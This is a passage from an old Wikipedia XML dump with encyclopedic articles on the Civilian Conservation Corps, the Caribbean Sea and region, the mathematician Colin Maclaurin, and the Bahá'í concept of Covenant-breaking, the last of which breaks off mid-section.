:&quot;First, we are giving opportunity of employment to one-quarter of a million of the unemployed, especially the young men who have dependents, to go into the forestry and flood prevention work. This is a big task because it means feeding, clothing and caring for nearly twice as many men as we have in the regular Army itself. In creating this civilian conservation corps we are killing two birds with one stone. We are clearly enhancing the value of our natural resources and second, we are relieving an appreciable amount of actual distress.&quot;

==Disbandment==
Despite Roosevelt's desire that the [[Congress of the United States|U.S. Congress]] make the CCC a permanent agency, Congress failed to do so. Congress did pass several bills extending the life of the CCC. The last extension passed was in 1939, extending the CCC until [[1943-06-30]].  Due to the changing manpower and budgetary needs after U.S. entry into [[World War II]], this was to be the last extension of the Civilian Conservation Corps. After the [[attack on Pearl Harbor]] on [[1941-12-07]], all CCC work, except for wildland firefighting, was shifted onto U.S. military bases to help with construction there. The agency disbanded one year earlier than planned, after Congress voted to cut off funding for the CCC entirely after [[1942-06-30]].

Former CCC sites in good condition were reactivated from 1941 to 1947 as [[Civilian Public Service]] camps where [[conscientious objectors]] performed ''work of national importance'' as an alternative to military service. In some cases these camps permitted the original CCC work to continue.

After the CCC disbanded, the federal agencies responsible for [[public lands]] administration went on to organize their own seasonal fire crews, roughly modeled after the CCC, which filled the firefighting role formerly filled by the CCC and provided the same sort of outdoor work experience to young people.

==California Conservation Corps==
In 1976, the [[Governor of California|Governor]] [[Jerry Brown]] of [[California]] established the [[California Conservation Corps]]. This new program differed drastically from the original CCC as its aim was primarily youth development rather than economic revival. Today it is the largest, oldest and longest-running youth conservation in the world.

==Corps Today==
Today, corps are state and local programs that engage primarily youth and young adults (ages 16-25) in full-time community service, training and educational activities.  The nation’s 109 corps operate in multiple communities across 37 states and the District of Columbia. In 2004, they enrolled over 23,000 young people.  The [[National Association of Service and Conservation Corps - NASCC]] works to expand and enhance the corps movement throughout America.

==External links== 
*[http://www.cccalumni.org/museum.html CCC Museum in St. Louis, Missouri]
*[http://texashistory.unt.edu/young/educators/ccc/index.shtml Life in the Civilian Conservation Corps]Primary Source Adventure, a lesson plan hosted by [http://texashistory.unt.edu/ The Portal to Texas History]
[[Category:New Deal Agency]]
[[Category:1933 establishments]]</text>
    </revision>
  </page>
  <page>
    <title>Caribbean Sea</title>
    <id>7822</id>
    <revision>
      <id>40304360</id>
      <timestamp>2006-02-19T18:00:43Z</timestamp>
      <contributor>
        <username>Rocastelo</username>
        <id>163463</id>
      </contributor>
      <minor />
      <comment>[[gl:Mar Caribe]]</comment>
      <text xml:space="preserve">[[image:Central_america.jpg|thumb|250px|right|Map of Central America and the Caribbean]]

The '''Caribbean Sea''' is a [[tropics|tropical]] body of water adjacent to the [[Atlantic Ocean]] and southeast of the [[Gulf of Mexico]]. It covers most of the [[Caribbean Plate]] and is bounded on the south by [[Venezuela]], [[Colombia]], and [[Panama]], to the west by [[Costa Rica]], [[Nicaragua]], [[Honduras]], [[Guatemala]], [[Belize]], and the [[Yucatan]] peninsula of [[Mexico]], to the north by the [[Greater Antilles]] islands of [[Cuba]], [[Hispaniola]], [[Jamaica]], and [[Puerto Rico]], and to the east by the [[Lesser Antilles]].

The Caribbean Sea is one of the largest [[sea|salt water seas]] and has an area of about [[1 E12 m²|2,754,000]] km² (1,063,000 square miles). The sea's deepest point is the [[Cayman Trench]], between [[Cuba]] and [[Jamaica]], at [[1 E3 m|7,686]] m (25,220 feet) below sea level.

The entire area of the Caribbean Sea, especially the numerous islands, is known as the [[Caribbean]].

==See also==
*[[Antilles]]
*[[Caribbean South America]]

[[Category:Caribbean]]

[[bg:Карибско море]]
[[ca:Mar Carib]]
[[cs:Karibské moře]]
[[da:Caribiske Hav]]
[[de:Karibik]]
[[el:Καραϊβική Θάλασσα]]
[[et:Kariibi meri]]
[[es:Mar Caribe]]
[[eo:Kariba Maro]]
[[fa:دریای کارائیب]]
[[fr:Mer des Caraïbes]]
[[ga:Muir na Cairibe]]
[[gl:Mar Caribe]]
[[ko:카리브 해]]
[[id:Laut Karibia]]
[[ia:Mar Caribe]]
[[is:Karíbahaf]]
[[it:Mare Caraibico]]
[[he:הים הקריבי]]
[[la:Mare Caribium]]
[[lt:Karibų jūra]]
[[mk:Карипско Море]]
[[nl:Caribische Zee]]
[[nds:Karibik]]
[[ja:カリブ海]]
[[no:Det karibiske hav]]
[[pl:Morze Karaibskie]]
[[ru:Карибское море]]
[[sk:Karibské more]]
[[sl:Karibsko morje]]
[[fi:Karibianmeri]]
[[sv:Karibiska havet]]
[[zh:加勒比海]]
[[zh-min-nan:Carib-hái]]</text>
    </revision>
  </page>
  <page>
    <title>Caribbean</title>
    <id>7823</id>
    <revision>
      <id>42088279</id>
      <timestamp>2006-03-03T19:21:54Z</timestamp>
      <contributor>
        <username>Jerrakum</username>
        <id>815422</id>
      </contributor>
      <text xml:space="preserve">:''West Indies redirects here. For the region's cricket squad see [[West Indian cricket team]].''
[[Image:Central_america.jpg|thumb|365px|Central America and the Caribbean [http://www.cia.gov/cia/publications/factbook/reference_maps/pdf/central_america.pdf (detailed pdf map)]]]

The '''Caribbean''', ([[Spanish language|Spanish]]: ''Caribe''; [[French language|French]]: ''Caraïbe'' or more commonly ''Antilles''; [[Dutch language|Dutch]]: ''Cariben'' or ''Caraïben'', or more commonly ''Antillen'') or the '''West Indies''', is a group of [[island]]s and countries which are in or border the [[Caribbean Sea]] which lies on the [[Caribbean Plate]].  The countries and islands of the Caribbean are located to the south and east of [[Mexico]] and to the north and west of [[Venezuela]], [[South America]]. There are at least 7,000 islands, [[islets]], [[reef]]s, and [[caye]]s in the region. They are organized into 25 territories including [[Sovereignty|sovereign]] states, overseas departments, and [[dependent area|dependencies]].

The name &quot;West Indies&quot; originates from [[Christopher Columbus]]' idea that he had landed in the [[Indies]] (then meaning all of south and east [[Asia]]) when he had in fact reached [[Americas|the Americas]]. The name &quot;Caribbean&quot; is named after the [[Carib]]s, one of the dominant [[Amerindian]] groups in the region at the time of [[Europe]]an contact. The Caribbean consists of the Greater and Lesser [[Antilles]], and is often considered part of [[North America]].

At one time, there was a short-lived country called the [[Federation of the West Indies]] composed of ten of the English-speaking Caribbean territories of the region.

The Caribbean area is also famous for its sea [[pirate]]s. See the article [[piracy in the Caribbean]].

The region known as &quot;Caribbean&quot; is usually restricted to the islands of the Caribbean Sea, although sometimes the continental American coastline is included.

==Historical groupings==
:''Main article: [[History of the Caribbean]]''

Most islands at some point were, or still are, colonies of [[Europe]]an nations:
* [[British West Indies]] / [[Anglophone Caribbean]] - [[Anguilla]], [[Antigua and Barbuda]], [[Barbados]], [[British Virgin Islands]], [[Cayman Islands]], [[Dominica]] (also [[Antillean Creole|French Creole]] speaking), [[Grenada]], [[Guyana]], [[Jamaica]], [[Montserrat]], [[Saint Kitts and Nevis]], [[Saint Lucia]] (also [[Antillean Creole|French Creole]] speaking), [[Saint Vincent and the Grenadines]], [[Trinidad and Tobago]] and the [[Turks and Caicos Islands]]
* [[Danish West Indies]] - present-day [[United States Virgin Islands]]
* [[Dutch West Indies]] - present-day [[Netherlands Antilles]] and [[Aruba]]
* [[French West Indies]] - [[Anguilla]] (briefly), [[Antigua and Barbuda]] (briefly), [[Dominica]], [[Dominican Republic]], [[Grenada]], [[Haiti]], [[Montserrat]] (briefly), [[Saint Lucia]], [[Saint Vincent and the Grenadines]], [[Sint Eustatius]] (briefly), [[St Kitts and Nevis]] ([[St Kitts]], but not [[Nevis]]), [[Trinidad and Tobago]] ([[Tobago]] only), present-day [[U.S. Virgin Islands]] ([[Saint Croix]] only, briefly), and the current French [[Département d'outre-mer|overseas ''départements'']] of [[Martinique]] and [[Guadeloupe]] (including [[Saint-Barthélemy]] and northern half of [[Saint Martin]])
* [[Spain]] - [[Cuba]], [[Hispaniola]] (present-day [[Dominican Republic]] and [[Haiti]]), [[Puerto Rico]]

The British West Indies were formerly united by the [[United Kingdom]] into a [[West Indies Federation]]. The independent countries which were once a part of the B.W.I. still have a unified composite [[cricket]] team that successfully competes in [[Test cricket|test match]]es and [[one-day international]]s. The [[West Indian cricket team]] includes the South American nation of [[Guyana]], the only former British colony on that continent.

In addition, these countries share the [[University of the West Indies]] as a regional entity. The university consists of three main campuses in  [[Jamaica]], [[Barbados]] and [[Trinidad and Tobago]], a smaller campus in the [[Bahamas]] and Resident Tutors in other contributing territories.

==Present-day island territories of the Caribbean==
[[Image:Tectonic plates Caribbean.png|thumb|right|350px|Detail of tectonic plates from: [[:Image:Tectonic plates.png|Tectonic plates of the world]]]]
:''See also: [[Caribbean South America]], [[Caribbean basin]]''
* '''{{AIA}}''' ([[United Kingdom of Great Britain and Northern Ireland|British]] dependency)
** [[Anguillita Island]]
** [[Dog Island]]
** [[East Cay]]
** [[Little Scrub Island]]
** [[Prickly Pear Cays]]
** [[Sandy Island, Anguilla|Sandy Island]]
** [[Scrub Island]]
** [[Seal Island]]
** [[Sombrero, Anguilla|Sombrero]]
** [[West Cay]]
* '''{{ATG}}'''
**[[Antigua]]
**[[Barbuda]]
**[[Redonda]]
* '''{{ABW}}''' (part of the [[Kingdom of the Netherlands]])
* '''{{BRB}}'''
**Barbados
**[[Culpepper Island]]
**[[Pelican Island]] (now absorbed into Barbados)
* '''{{IVB}}''' ([[United Kingdom of Great Britain and Northern Ireland|British]] dependency, shares the [[Virgin Islands]] with the U.S. Virgin Islands.)
**[[Anegada]]
**[[Beef Island]]
**[[Bellamy Cay]]
**[[Carvel Rock]]
**[[Cockroach Island]]
**[[Cooper Island]]
**[[Dead Chest Cay]]
**[[Diamond Cay]]
**[[Dog Islands]]
**[[Drowned Island]]
**[[East Seal Dog Island]]
**[[Eustatia Island]]
**[[Fallen Jerusalem Island]]
**[[Frenchmans Cay]]
**[[Grouge Dog Island]]
**[[Ginger Island]]
**[[Great Camanoe]]
**[[Great Dog Island]]
**[[Great Thatch]]
**[[Great Tobago Island]]
**[[Green Cay]]
**[[Guana Island]]
**[[Jost Van Dyke]]
**[[Key Cay]]
**[[Little Anegada]]
**[[Little Camanoe]]
**[[Little Cay]]
**[[Little Jost Van Dyke]]
**[[Little Seal Dog Island]]
**[[Little Thatch]]
**[[Little Tobago]]
**[[Little Wickmans Cay]]
**[[Marina Cay]]
**[[Mosquito Island]]
**[[Nanny Cay]]
**[[Necker Island (British Virgin Islands)|Necker Island]]
**[[Norman Island]]
**[[Old Jerusalem Island]]
**[[Oyster Rock, British Virgin Islands|Oyster Rock]]
**[[Pelican Island]]
**[[Peter Island]]
**[[Prickly Pear Island]]
**[[Saba Rock]]
**[[Salt Cay]]
**[[Sandy Cay]]
**[[Scrub Island]]
**[[Spanish Island]]
**[[Tortola]]
**[[Virgin Gorda]]
**[[West Dog Island]]
* '''{{CAY}}''' ([[United Kingdom of Great Britain and Northern Ireland|British]] dependency)
** [[Cayman Brac]]
** [[Grand Cayman]] (with the capital [[George Town, Cayman Islands|George Town]])
** [[Little Cayman]]
* '''{{CUB}}'''
**Cuba
**[[Isla de la Juventud]]
* '''{{DMA}}'''
** [[Isla Aves|Bird Island]] (disputed territory with [[Venezuela]] located about 110 km (70 mi) west of the island of Dominica)
* '''{{GRD}}''' (shares the [[Grenadines]] group with [[Saint Vincent and the Grenadines]])
**[[Carriacou]]
**Grenada
**[[Petit Martinique]]
**[[Ronde Island]]
**[[Petite Martinique]]
* '''{{GLP}}''' (overseas ''department'' of [[France]])
** [[Basse-Terre]]
** [[La Désirade]]
** [[Grande-Terre]]
** [[Marie-Galante]]
** [[Iles de la Petite Terre]]
** [[Saint-Barthélemy]] (also ''Saint Barts'')
** Saint-Martin (part of the island [[Saint Martin]] shared with the Netherlands Antilles; note the dash)
** [[Iles des Saintes]]
*** [[Terre de Haut]]
*** [[Terre de Bas]]
* [[Hispaniola]] 
** '''{{DOM}}'''
** '''{{HAI}}'''
* '''{{JAM}}'''
* '''{{MTQ}}''' (overseas department of [[France]])
* '''{{MSR}}''' ([[United Kingdom of Great Britain and Northern Ireland|British]] dependency)
*[[Image:Flag of the United States.svg|25px|]] [[Navassa Island]] ([[United States|U.S.]] [[insular area]])
* '''{{ANT}}''' (part of the [[Kingdom of the Netherlands]])
** [[Bonaire]]
** [[Curaçao]]
** [[Saba]]
** [[Sint Eustatius]]
** Sint Maarten (part of the island [[Saint Martin]] shared with Guadeloupe)
* '''{{PRI}}''' ([[Commonwealth (U.S. insular area)|U.S. commonwealth]])
**[[Culebra, Puerto Rico|Culebra]]
**[[Mona, Puerto Rico|Mona]]
**Puerto Rico
**[[Vieques, Puerto Rico|Vieques]]
* '''{{SKN}}'''
**[[Nevis]]
**[[Saint Kitts]]
* '''{{LCA}}'''
* '''{{VIN}}''' (shares the [[Grenadines]] group with Grenada)
** [[Baliceaux Island]]
** [[Bequia]]
** [[Canouan Island]]
** [[Mayreau]]
** [[Mustique]]
** [[Palm Island]]
** [[Petit Mustique]]
** [[Petit Saint Vincent]]
** [[Saint Vincent (island)|Saint Vincent]]
** [[Tobago Cays]]
** [[Union Island]]
** [[Young Island]]
* '''{{TRI}}'''
** [[Tobago]]
***[[Little Tobago]]
** [[Trinidad]]
***[[Chacachacare]]
***[[Gaspar Grande]]
***[[Huevos]]
***[[Monos]]
* '''{{VIR}}''' (U.S. territory, shares the [[Virgin Islands]] with the British Virgin Islands)
**[[Birsk Island]]
**[[Buck Island Reef National Monument|Buck Island]]
**[[Capella Island]]
**[[Cas Cay]]
**[[Cow And Calf Island]]
**[[Dog Island]]
**[[Dry Rock]]
**[[Fish Cay]]
**[[Flat Cay]]
**[[Grass Cay]]
**[[Great Saint James Island]]
**[[Green Cay]]
**[[Hassel Island, United States Virgin Islands|Hassel Island]]
**[[Inner Brass Island]]
**[[Johnsons Reef]]
**[[Leduck Island]]
**[[Little Saint James Island]]
**[[Lovango Cay]]
**[[Ningo Island]]
**[[Outer Brass Island]]
**[[Packet Rock]]
**[[Patricia Cay]]
**[[Saba Island, United States Virgin Islands|Saba Island]]
**[[Saint Croix]]
**[[Saint John, United States Virgin Islands|Saint John]]
**[[Saint Thomas, United States Virgin Islands|Saint Thomas]]
**[[South-West Rock]]
**[[Stranglers Island]]
**[[Thatch Cay, United States Virgin Islands|Thatch Cay]]
**[[Turtledove Cay]]
**[[Water Island, United States Virgin Islands|Water Island]]
**[[Welk Rock]]

== Continental countries with Caribbean coastlines and islands==
* '''{{BLZ}}'''
** [[Ambergris Caye]]
** [[Belize City]]
** [[Big Creek, Belize|Big Creek]]
** [[Caye Caulker]]
** [[Glover's Reef]]
** [[Hicks Cays]]
** [[Lighthouse Reef]]
** [[South Water Caye]]
** [[Turneffe Islands]]
* '''{{COL}}'''
** Archipelago of [[San Andres and Providencia]]
* '''{{CRI}}'''
* '''{{GUF}}'''
* '''{{GTM}}'''
* '''{{GUY}}'''
* '''{{HON}}'''
** [[Cortés department]]
** [[Atlántida department]]
** [[Gracias a Dios department]]
** [[Islas de la Bahía Department]]
*** [[Puerto Cortés]]
*** [[Tela]]
*** [[La Ceiba]]
*** [[Trujillo]]
*** [[La Mosquitia]]
*** [[Puerto Lempira]]
*** [[Guanaja]] 
*** [[Roatán]] 
*** [[Útila]] 
*** [[Cayos Cochinos]]
*** [[Swan Islands]]
* '''{{MEX}}'''
** [[Cancún]]
** [[Isla Contoy]]
** [[Isla Cozumel]]
** [[Isla Mujeres]]
* '''{{NIC}}'''
** [[Corn Islands]]
** [[Cayos Miskitos]]
* '''{{PAN}}'''
** [[San Blas Islands]]
** [[Bocas del Toro]]
* '''{{SUR}}'''
* '''{{VEN}}'''
** [[Isla Margarita]]
** [[Los Monjes Archipelago]]
** [[Las Aves Archipelago]]
** [[Isla de Aves]]
** [[Los Hermanos Island]]
** [[Los Frailes Island]]
** [[Los Roques Archipelago]]
** [[La Sola Island]]
** [[La Tortuga Island]]
** [[La Orchila Island]]
** [[Los Testigos Island]]
** [[La Blanquilla Island]]
** [[Isla de Patos]]

The nations of [[Belize]] and [[Guyana]], although on the mainland of [[Central America]] and [[South America]] respectively, were former British colonies and maintain many cultural ties to the Caribbean and are members of [[Caribbean Community|CARICOM]]. The Turneffe Islands (and many other islands and reefs) are part of Belize and lie in the Caribbean Sea.

==Island territories near the Caribbean==
Though not technically in the Caribbean Sea, the nearby Bahaman Archipelago is sometimes considered to be part of the Caribbean.

* '''{{BHS}}'''
**[[Abaco]]
**[[Acklins Island]]
**[[Andros, Bahamas|Andros]]
**[[Bimini|Bimini Islands]]
**[[Cat Island, Bahamas|Cat Island]]
**[[Crooked Island, Bahamas|Crooked Island]]
**[[Eleuthera]]
**[[Grand Bahama]]
**[[Great Abaco]]
**[[Great Exuma]]
**[[Great Inaco]]
**[[Long Island, Bahamas|Long Island]]
**[[Mayaguana]]
**[[New Providence]]
**[[Ragged Island]]
**[[San Salvador Island]]
* '''{{TCA}}''' ([[United Kingdom of Great Britain and Northern Ireland|British]] dependency)
**[[Grand Turk Island|Grand Turk]]
**[[Middle Caicos]]
**[[North Caicos]]
**[[Parrot Cay]]
**[[Pine Cay]]
**[[Providenciales]]
**[[Salt Cay]]
**[[South Caicos]]

==[[Indigenous Peoples of the Americas|Indigenous]] Tribes==
* [[Arawak]]
* [[Carib]]
* [[Ciboney]]
* [[Garifuna]]
* [[Lucayan]]
* [[Taino]]

==See also==
{{portal}}
{{sisterlinks|Caribbean}}

* [[African diaspora]]
* [[Americas (terminology)]]
* [[British Afro-Caribbean community]]
* [[Caribbean English]]
* [[CONCACAF]]
* [[Council on Hemispheric Affairs]]
* [[History of the Caribbean]]
* [[Indo-Caribbean]]
* [[Music of the Caribbean]]
* [[Politics of the Caribbean]]
* [[Tongue of the Ocean]]
* [[List of popular tourist regions#Tourism in Caribbean|Tourism in Caribbean]]
* [[West Indies Federation]]

== Regional [[List of international organizations|Institutions]] ==
''Here are some of the bodies that several islands share in collaboration'':

* [[The Caribbean Regional Environmental Programme]] (CREP)-www.crepnet.net
* [[ACP countries|African, Caribbean and Pacific states]] (ACP)
* [[Association of Caribbean States]] (ACS), [[Trinidad and Tobago]]
* [[Caribbean Association of Industry and Commerce]] (CAIC), Trinidad and Tobago [http://www.caic.org.tt/]
* [[Caribbean Community]] (CARICOM), [[Guyana]]
* [[Caribbean Development Bank]] (CDB), [[Barbados]]
* [[CDERA|Caribbean Disaster Emergency Response Agency]] (CDERA), Barbados
* [[Caribbean Examinations Council]] (CXC), Barbados and [[Jamaica]]
* [[Caribbean Hotel Association]] (CHA), [[Puerto Rico]] [http://www.caribbeanhotels.org/]
* [[Caribbean Programme for Economic Competitiveness]] (CPEC), [[Saint Lucia]] [http://www.cpechrd.org/]
* [[Caribbean Regional Fisheries Mechanism]] (CRFM), [[Belize]] [http://www.caricom-fisheries.com/]
* [[Caribbean Regional Negotiating Machinery]] (CRNM), Barbados and [[Dominican Republic]] [http://www.crnm.org/]
* [[Caribbean Tourism Organisation]] (CTO), Barbados
* [[Inter-American Economic Council]] (IAEC), [[Washington, D.C.]]
* [[Latin American and Caribbean Internet Addresses Registry]] (LACNIC), [[Brazil]] and [[Uruguay]]
* [[Organisation of Eastern Caribbean States]] (OECS), [[Saint Lucia]]
* [[ECLAC|United Nations - Economic Commission for Latin America and the Caribbean]] (ECLAC), [[Chile]] and Trinidad and Tobago

Many of the nations in the Caribbean play international cricket as one team called the [[West Indian cricket team|West Indies]].

{{Region}}

[[Category:Americas]]
[[Category:Caribbean| ]]

[[ca:Carib]]
[[da:Caribien]]
[[de:Westindische Inseln]]
[[eo:Antiloj]]
[[es:Islas Caribes]]
[[et:Lääne-India]]
[[fr:Antilles]]
[[gl:Caribe]]
[[id:Karibia]]
[[it:Antille]]
[[ja:西インド諸島]]
[[ko:서인도 제도]]
[[nds:Karibik]]
[[nl:Caribisch Gebied]]
[[no:Karibien]]
[[pl:Karaiby]]
[[pt:Caribe]]
[[ru:Вест-Индия]]
[[simple:Caribbean]]
[[fi:Länsi-Intia]]
[[sv:Västindien]]
[[th:แคริเบียน]]
[[tr:Karayipler]]
[[zh:加勒比海国家]]</text>
    </revision>
  </page>
  <page>
    <title>Colin Maclaurin</title>
    <id>7824</id>
    <revision>
      <id>40395244</id>
      <timestamp>2006-02-20T06:36:38Z</timestamp>
      <contributor>
        <username>Dantheox</username>
        <id>290909</id>
      </contributor>
      <minor />
      <comment>/* External links */</comment>
      <text xml:space="preserve">[[Image:Colin maclaurin.jpg|thumb|right|250px|Colin Maclaurin]]
'''Colin Maclaurin''' (February, [[1698]] - [[June 14]], [[1746]]) was a [[Scotland|Scottish]] [[mathematician]].

He was born in Glendaruel, [[Argyll]], where his father was the minister of the parish of Kilmodan, and attended the [[University of Glasgow]] at age eleven. Entering the University at eleven was not unusual at the time, but his graduating by successfully defending a thesis at 14 was. After graduation he remained at Glasgow to study [[divinity]] for a period and in [[1717]], aged nineteen, he became professor of [[mathematics]] at Marischal College in the [[University of Aberdeen]].

In [[1725]] he was appointed deputy of the mathematical professor at [[Edinburgh]], James Gregory (brother of [[David Gregory]] and nephew of the more famous [[James Gregory (astronomer and mathematician)| James Gregory]]), upon the recommendation of [[Isaac Newton]]. Newton was so impressed his work, he actually offered to pay Maclaurin's salary. Eventually, Maclaurin went on to succeed Gregory.

The &quot;[[Maclaurin series]]&quot; for  many [[trigonometry|trigonometric]] functions had in fact been first developed by [[Madhava of Sangamagrama]] in fourteenth century India. They were also developed and published by James Gregory, but Maclaurin wasn't aware of this and published them in ''Methodus incrementorum directa et inversa''.
Independently from [[Euler]] he discovered the &quot;[[Euler-Maclaurin formula]]&quot;.

In [[1733]] he married Anne Stewart, the daughter of the [[Solicitor General]] of [[Scotland]].  He actively opposed the  [[Jacobitism|Jacobite]] Rebellion of [[1745]] and assisted in the defence of Edinburgh but had to flee to [[York]] upon the approach of the Highlanders. He returned after the Jacobite army marched south, but the events had damaged his health, and led indirectly to his death.

Some of his important works:

*''[[Geometria Organica]]'' - [[1720]]
*''[[De Linearum Geometricarum Proprietatibus]]'' - [[1720]]
*''[[Treatise on Fluxions]]'' - [[1742]] (763 pages in two volumes. The first systematic exposition of Newton's methods.)
*''[[Treatise on Algebra]]'' - [[1748]] (two years after his death.)
*''[[Account of Newton's Discoveries]]'' - Incomplete upon his death and published in [[1750]] or [[1748]] (sources disagree.)

==Sources==
*''http://www.maths.tcd.ie/pub/HistMath/People/Maclaurin/RouseBall/RB_Maclaurin.html''
*''http://www.geo.ed.ac.uk/scotgaz/people/famousfirst829.html''
*''http://www.andrews.edu/~calkins/math/biograph/199899/biomacla.htm''
*''http://www.stetson.edu/~efriedma/periodictable/html/Mg.html''
*''http://occ.awlonline.com/bookbind/pubbooks/thomas_awl/chapter1/medialib/custom3/topics/sequences.htm''

==External links==
* {{MacTutor Biography|id=Maclaurin}}

[[Category:1698 births|Maclaurin, Colin]]
[[Category:1746 deaths|Maclaurin, Colin]]
[[Category:Scottish mathematicians|Maclaurin, Colin]]
[[Category:Christians in science|Maclaurin]]
[[Category:18th century mathematicians|Maclaurin, Colin]]

[[de:Colin Maclaurin]]
[[fr:Colin Maclaurin]]
[[is:Colin Maclaurin]]
[[it:Colin Maclaurin]]
[[nl:Colin Maclaurin]]
[[pl:Colin Maclaurin]]
[[sv:Colin Maclaurin]]</text>
    </revision>
  </page>
  <page>
    <title>Celestial globe</title>
    <id>7825</id>
    <revision>
      <id>19330841</id>
      <timestamp>2005-07-21T22:02:28Z</timestamp>
      <contributor>
        <username>Elfguy</username>
        <id>269251</id>
      </contributor>
      <comment>merged</comment>
      <text xml:space="preserve">#REDIRECT [[Armillary sphere]]</text>
    </revision>
  </page>
  <page>
    <title>Covenant-breaker</title>
    <id>7827</id>
    <revision>
      <id>41939305</id>
      <timestamp>2006-03-02T19:37:10Z</timestamp>
      <contributor>
        <username>Everyking</username>
        <id>44020</id>
      </contributor>
      <minor />
      <comment>/* Current groups */</comment>
      <text xml:space="preserve">{{Bahá'í}}
:'''''Note:''' the term &quot;head of the Faith&quot; is used throughout the article, it is helpful to note that, since 1963, this refers to the elected nine-member [[Universal House of Justice]].''

A '''Covenant-breaker''' or the act of '''Covenant-breaking''' is a term used by [[Bahá'í Faith|Bahá'ís]] to refer to a particular form of [[heresy]]. Being declared a Covenant-breaker by the head of the Faith is somewhat equivalent to [[Cherem]] in Judaism, [[Excommunication]] in Christianity and [[Takfir]] in Islamic law, i.e. Bahá'ís avoid association with them, even if the Covenant–breaker is a family member.  The authority to declare a Bahá'í a Covenant-breaker resides solely with the head of the Bahá'í Faith, which since 1963 has been the (elected) [[Universal House of Justice]], situated in [[Haifa]], Israel.

==Definition==
Covenant-breaking does not refer to attacks from those who are not Bahá'ís or who have left the Bahá'í Faith out of disagreement with its tenets.  Rather is in reference to internal campaigns of opposition whereby the Covenant-breaker is seen to be as one who is challenging the internal succession of the Faith and thereby causing internal division, or by claiming or supporting an alternate succession of authority or administrative structure.

In a letter to an individual dated [[23 March]] [[1975]], the Universal House of Justice wrote: 
:&quot;When a person declares his acceptance of Bahá'u'lláh as a Manifestation of God he becomes a party to the Covenant and accepts the totality of His Revelation. If he then turns round and attacks Bahá'u'lláh or the Central Institution of the Faith he violates the Covenant. If this happens every effort is made to help that person to see the illogicality and error of his actions, but if he persists he must, in accordance with the instructions of Bahá'u'lláh Himself, be shunned as a Covenant-breaker.&quot;

The term 'Covenant-breaker' or, in Arabic 'naqidin', was first used by [[`Abdu'l-Bahá]] to describe the partisans of his brother [[Mírzá Muhammad `Alí]], who challenged his leadership.  In `Abdu'l-Bahá's [[Will and Testament of `Abdu'l-Bahá|Will and Testament]], He appointed [[Shoghi Effendi]] as the Guardian of the Bahá'í Faith and called for the eventual election of the [[Universal House of Justice]], and defined in the same manner opposition to these two institutions as Covenant-Breaking.  `Abdu'l-Bahá advised all Bahá'ís to shun anyone opposing the Covenant: &quot;...one of the greatest and most fundamental principles of the Cause of God is to shun and avoid entirely the Covenant-breakers, for they will utterly destroy the Cause of God, exterminate His Law and render of no account all efforts exerted in the past.&quot; [http://reference.bahai.org/en/t/ab/WT/wt-2.html#gr10]

==Categorization==
=== Included categories of people ===
While most Covenant-breakers are involved in schismatic groups, that is not always the case.  For example, a Bahá'í who refuses to shun Covenant-breakers is at risk of being named one. One article [http://bahai-library.com/?file=momen_encyclopedia_covenant], originally written for the Bahá'í Encyclopedia, characterized Covenant-breakers that have emerged in the course of Bahá'í history as belonging to one of four categories:

#Leadership challenge: These are persons who dispute the authority and legitimacy of the head of the religion and advanced claims either for themselves or for another. The main examples of these are [[Mírzá Muhammad `Alí]], and [[Mason Remey|Charles Mason Remey]].
#Dissidence: Those who disagree with the policies and actions of the head of the religion without, however, advancing an alternative claim for leadership. This group consisted mostly of opponents of the Bahá'í administration such as [[Ruth White]], [[Ahmad Sohrab]], and [[Hermann Zimmer]].
#Disobedience: Those who disobey certain direct instructions from the head of the religion.  Mostly the instruction in question is to cease to associate with a Covenant-breaker. Examples of this type include most of the descendants of `Abdu'l-Bahá during Shoghi Effendi's time.
#Apostates who maliciously attack the Bahá'í Faith. Examples include [[Ávárih]] and [[Níkú]].

=== Excluded categories of people === 

Shoghi Effendi wrote to the National Spiritual Assembly of Canada in 1957: &quot;''People who have withdrawn from the Cause because they no longer feel that they can support its Teachings and Institutions sincerely, are not Covenant-breakers -- they are non-Bahá'ís and should just be treated as such. Only those who ally themselves actively with known enemies of the Faith who are Covenant-breakers, and who attack the Faith in the same spirit as these people, can be considered, themselves, to be Covenant-breakers.''&quot; (cf: Shoghi Effendi, Messages to Canada, p. 64)  Beyond this, many other relationships to the Bahá'í Faith exist, both positive and negative.  Covenant-breaking does not seem to apply to most of them. 

The following is a partial list of those who could not rightly be termed covenant-breakers:

* Members of other religions or no religion without any particular relationship to the Bahá'í Faith.
* Followers of [[Mirza Yahya Nuri Subh-i Azal|Subh-i-Azal]], Baha'u'llah's half-brother, who are known in modern times as Bayanis are often mistakenly referred to by this label.  The appelation seems, however, misapplied.  Since Covenant-breaking presumes that one has submitted oneself to a covenant and then broke it, and Bayanis never swore allegence to Baha'u'llah, they cannot therefore be said to have broken his covenant.
* Bahá'ís who simply leave the faith. (see above)
* Bahá'ís who, in the estimation of the head of the religion have insufficiently understood the nature of the covenant from the start.  These are sometimes &quot;disenrolled&quot; and are considered to have never actually been Bahá'ís, given their fundamental diversion from this core Bahá'í doctrine.
* External enemies of the Bahá'í Faith.

==Current groups==
{{main|Bahá'í divisions}}
Most of the currently active groups regarded by the larger group of Bahá'ís as Covenant-breakers originated in the claims of Charles Mason Remey to the Guardianship in 1960.  The [[Will and Testament of `Abdu'l-Bahá]] states that Guardians should be [[lineal primogeniture|lineal descendant]]s of [[Bahá'u'lláh]], and that each Guardian must select his successor during his lifetime, and that the nine [[Hands of the Cause of God]] permanently stationed in the [[holy land]] must assent to the appointment to avoid ambiguity.  While most Bahá'ís interpret lineal descendency to mean physical familial relation to Bahá'u'lláh, some have interpreted this to include spiritual and/or adoptive descendants.

The majority of Bahá'ís accepted the determination of the [[Hand of the Cause of God|Hands of the Cause]] upon the death of Shoghi Effendi, that he passed away &quot;without having appointed his successor&quot;, owing to an absence of both a will and a valid descendant of Bahá'u'lláh who could qualify under the terms of the `Abdu'l-Bahá's will. Later the [[Universal House of Justice]], first elected in [[Haifa]] in [[1963]], made a ruling on the subject that it was not possible for another Guardian to be appointed.  

In 1960 Mr. Remey, a Hand of the Cause himself, retracted his earlier position, and claimed had been coerced.  He claimed to be the successor to Shoghi Effendi.  He and the small number of Bahá'ís who followed him were expelled from the majority group by the Hands of the Cause.

